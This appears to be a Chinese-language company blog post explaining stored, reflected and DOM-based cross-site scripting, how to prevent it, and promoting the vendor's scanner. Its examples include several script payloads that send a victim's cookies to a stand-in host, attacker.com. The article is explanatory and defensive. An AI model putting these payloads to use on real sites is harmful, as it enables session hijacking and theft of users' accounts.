了解和预防跨站脚本漏洞 (XSS)

漏洞公布 小布 701浏览 0评论

跨站脚本 (XSS) 是一类 Web 应用程序漏洞,允许攻击者在用户浏览器中执行恶意脚本。XSS 漏洞是最常见的 Web 安全问题之一,可能导致会话劫持、敏感数据暴露,甚至更糟。本文解释了三种类型的 XSS 漏洞,并展示了如何检测和预防它们。

为什么跨站点脚本攻击是可能的

XSS 攻击是将恶意脚本代码插入到由用户浏览器处理的网页中的注入攻击。“跨站点”部分意味着攻击代码与访问站点的来源不同。通常,这应该是不可能的,因为同源策略 (SOP) – 一种基本的浏览器安全功能,只允许 Web 应用程序加载具有相同来源的脚本。

出于同源策略和 XSS 的目的,如果两个站点具有相同的协议(URI 方案,例如https://)、主机名(例如www.example.com)和端口号(通常在网站 URL 中省略),则它们具有相同的起源。

易受跨站点脚本攻击的网页使用未经处理的用户输入来动态构建其 HTML 代码。如果此输入包含恶意脚本,则该脚本将包含在页面代码中并由浏览器在当前上下文中执行(因为它现在源自同一网页)。这为各种基于脚本的攻击开辟了道路。(顺便说一句,任何客户端脚本语言都可以进行跨站点脚本编写——VBScript、Flash 脚本甚至 CSS 都可能存在 XSS 漏洞,但现代 XSS 几乎完全与 JavaScript 相关。)

跨站脚本漏洞的影响

跨站点脚本是迄今为止最常见的 Web 应用程序漏洞类型,从第一版开始就出现在每个OWASP Top 10列表中。同时,传统上认为它比SQL 注入或命令执行危害更小。但即使恶意 JavaScript 代码在客户端执行而不会直接影响服务器,但这并没有降低 XSS 漏洞的危险性。

被利用的XSS 漏洞对 Web 应用程序的影响可能因特定攻击而有很大差异。通过在用户当前上下文中执行脚本代码,攻击者可以窃取会话 cookie 并执行会话劫持以冒充受害者或接管他们的帐户。结合社会工程,这可能导致敏感数据泄露、CSRF 攻击(如果攻击者可以访问反 CSRF 令牌),甚至恶意软件安装。

如果受害者在目标应用程序中拥有管理权限,则可以使用成功的 XSS 攻击进行权限提升,然后在服务器上执行代码。由于HTML5 Web API使浏览器能够更多地访问本地数据和硬件,攻击者可能会利用 XSS 漏洞访问您的本地资源,从浏览器存储中的数据到相机和麦克风。XSS 是 Web 应用程序安全方面的一个大问题。

XSS 漏洞的类型

跨站脚本漏洞主要分为三种类型:存储型(持久性 XSS)、反射型(非持久性 XSS)和基于 DOM 的 XSS。虽然成功攻击的结果可能相似,但三种类型的 XSS 在恶意 JavaScript 负载注入用户浏览器的方式上存在显着差异。

存储跨站脚本

当未净化的用户输入(以及 XSS 有效负载)保存在服务器端(通常保存在数据库中)时,就会发生存储或持久的跨站点脚本漏洞。当用户稍后打开包含注入的恶意 JavaScript 的网页时,有效负载作为页面的合法部分在浏览器中执行。存储的跨站点脚本非常危险,因为负载对任何客户端 XSS 过滤器都是不可见的,并且攻击可以影响多个用户,而无需攻击者采取任何进一步行动。

例如,如果在线留言板或论坛未能在将用户名打印到页面上之前对其进行正确清理,则可能会发生存储型 XSS 漏洞。在这种情况下,攻击者可以在注册新用户时包含一个包含恶意代码的 HTML 标签。当存储的用户名被加载并插入到网页中时,它可能是这样的:

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
Registered since: 2016

每当任何用户访问该特定论坛页面时,都会触发上述恶意 JavaScript。它将当前 cookie 值从用户的浏览器发送给攻击者,然后攻击者可以使用它们来执行会话劫持和其他攻击。存储型 XSS 在注入用户重新共享的高流量页面时可能非常危险,因为它可以长时间未被检测到并且持续存在,因此它可以在攻击者没有采取任何进一步行动的情况下传播。

想象一下,在 Facebook 或类似社交媒体平台上的知名用户的“关于我”页面中存储了恶意脚本。每个打开该页面的用户都会触发有效负载,共享链接的人会像病毒一样传播它。2005 年在 MySpace 上传播的Samy XSS 蠕虫提供了这种行为的早期演示。

反射式跨站脚本

反射XSS弱点当从URL或web表单unsanitized用户输入被直接使用(反射的)在网页上发生。作为一种非持久性漏洞,它允许攻击者将恶意内容注入到一个特定请求中。在实践中,攻击者通常需要通过某种社会工程诱使用户打开恶意 URL 或提交包含有效负载的特制 POST 表单。这是内置浏览器过滤器旨在防止的 XSS 变种。

为了说明反射型 XSS,假设新闻站点上的搜索功能容易受到这种攻击。搜索查询是通过简单地将用户的输入(取自 GET HTTP 请求)附加到q参数来构建的:

https://example.com/news?q=data+breach

搜索结果页面直接反映q参数值,显示用户搜索的内容:

We found the following results for “data breach”:

如果用户输入未被清理,恶意行为者可以通过在网络钓鱼电子邮件或社交媒体上向受害者发送恶意链接来执行反射的跨站点脚本攻击。恶意 URL 可能类似于:

https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>

在实践中,这个看似可疑的链接通常会使用编码或 URL 缩短器来隐藏。一旦受害者点击恶意 URL,就会执行 XSS 攻击,网站呈现以下代码:

We found the following results for “<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>:

<script>包含攻击者恶意代码的HTML 标签将受害者的浏览器重定向到攻击者控制的网站,以读取当前的 cookie 值,包括example.com(会话令牌)的会话 cookie 。这为各种会话劫持攻击开辟了道路。

基于DOM的跨站脚本

基于 DOM 的 XSS 漏洞的不同之处在于,攻击完全发生在浏览器内部,特别是在当前网页的DOM(文档对象模型)中。随着网站变得越来越大,响应速度越来越快,越来越多的处理被转移到客户端,无需等待来自 Web 服务器的响应。使用现代单页应用程序 (SPA),整个页面加载只发生一次 – 其余部分是客户端和服务器之间的异步通信,以更新浏览器中页面的 DOM 结构。

但即使是这种模型也提供了一种注入恶意 JavaScript 的方法。这通常通过用于跨 SPA 导航的哈希链接来完成。如果应用程序在未经清理的情况下接受不受信任的输入,则http://www.example.com/news.html#weather可以将类似的无害导航链接扭曲为,从而将 cookie 值暴露给攻击者。http://www.example.com/news.html#<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>

有关此类带有代码示例的跨站点脚本的详细说明。

防止 XSS

与所有注入攻击一样,跨站点脚本漏洞的根本原因是对用户输入的验证和清理不足。为了防止 XSS 安全漏洞,您需要应用上下文相关的输出编码。在某些情况下,对 HTML 特殊字符(例如开始和结束标记)进行编码可能就足够了,但通常,正确应用 URL 编码会更安全。您应该只接受具有白名单协议的链接,以防止滥用 URI 方案,例如javascript://. 对于基于 DOM 的 XSS,您还需要小心编写用户可控制的值。

直到最近,大多数浏览器都内置了 XSS 过滤器来捕获至少一些反射的 XSS 尝试,但这些过滤器的范围和有效性有限,并且无论如何都可以被更高级的攻击者规避。它们还给开发人员一种错误的安全感(“XSS 没什么大不了的,浏览器会阻止它”)。现代 Web 浏览器正在远离 XSS 过滤——了解XSS 过滤尝试的幕后花絮。因此,应将浏览器端 XSS 过滤器(如果有)视为第二道防线(最多),以最大限度地减少现有漏洞的影响。

尽管看起来很诱人,但开发人员不应该使用输入黑名单(实际上是手动过滤),因为也有很多方法可以绕过它。另一种要避免的做法是从输入字符串中手动剥离具有潜在危险的函数名称和字符,因为这只会使 XSS 过滤器更难识别危险的负载。同样,防止跨站点脚本漏洞的唯一推荐方法是始终如一地应用上下文相关编码。有关避免 XSS 的详细指南。

查找和修复 XSS 漏洞

跨站点脚本漏洞构成了 每天在客户网站和 Web 应用程序中发现的所有 Web 应用程序安全问题的大部分。由于 扫描器集成了完整的现代 Web 浏览器引擎,因此它可以使用其专有的基于证明的扫描技术来模拟漏洞利用并自动确认大多数 XSS 漏洞,无需手动验证 – 并且没有误报风险。至关重要的是,这包括基于 DOM 的难以捉摸的漏洞,其中有效载荷不会出现在 HTTP 响应中,以及带外和二阶变体。

布尔云安团队在构建时考虑到了准确的自动化,并提供 了 与流行问题跟踪器的开箱即用 集成,因此您可以(如有必要)自动为安全问题创建开发人员票证,而无需安全团队手动工作。这就是为什么 漏洞报告包含开发人员需要了解问题并通过解决根本原因正确修复它所需的所有补救指南。这有助于避免导致跨站点脚本漏洞在未来重新出现的部分修复,并促进更安全的编码实践,以从长远来看提高 Web 应用程序的安全性。

漏洞分类及严重性表

分类 ID/严重性
PCI v3.2 6.5.7
亚太经合组织 19
CWE 79
WASC 8
OWASP 2013 A3
OWASP 2017 A7
HIPAA 164.308(a)
CVSS:3.0
CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

转载请注明:布尔云安的博客 » 了解和预防跨站脚本漏洞 (XSS)

头像
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址